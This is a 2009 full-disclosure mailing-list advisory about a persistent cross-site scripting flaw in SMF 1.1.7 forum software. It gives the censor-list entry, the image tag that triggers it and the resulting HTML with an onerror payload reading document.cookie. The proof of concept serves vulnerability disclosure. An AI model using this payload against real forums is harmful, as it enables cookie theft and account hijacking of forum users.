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Date: Tue, 3 Feb 2009 02:56:37 -0600 From: Eduardo Vela <sirdarckcat@...il.com> To: submit@...w0rm.com, full-disclosure@...ts.grok.org.uk, bugtraq@...urityfocus.com Subject: SMF 1.1.7 Persistent XSS (requires permision to edit censor) SMF 1.1.7 (simplemachines.org) XSS Exploitation: If you can modify the censor on a SMF forum, then you can make it execute arbitrary JS code. http://SMF.Forum.com/index.php?action=postsettings;sa=censor Just add the following entry: http://www.test.xss/ => http://www.test-xss/" onerror="alert(document.cookie) And then write a post, modify your signature, or send a PM with the code: [img]http://www.test.xss/[/img] And the HTML code generated will be.. <img src="http://www.test-xss/" onerror="alert(document.cookie)" alt="" border="0" /> Notes: - SMF is not using httpOnly cookies. - I'm going full disclosure with this because I've had bad experiences with the SMF team when reporting vulnerabilities.. Greetings!! -- Eduardo http://www.sirdarckcat.net/ _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
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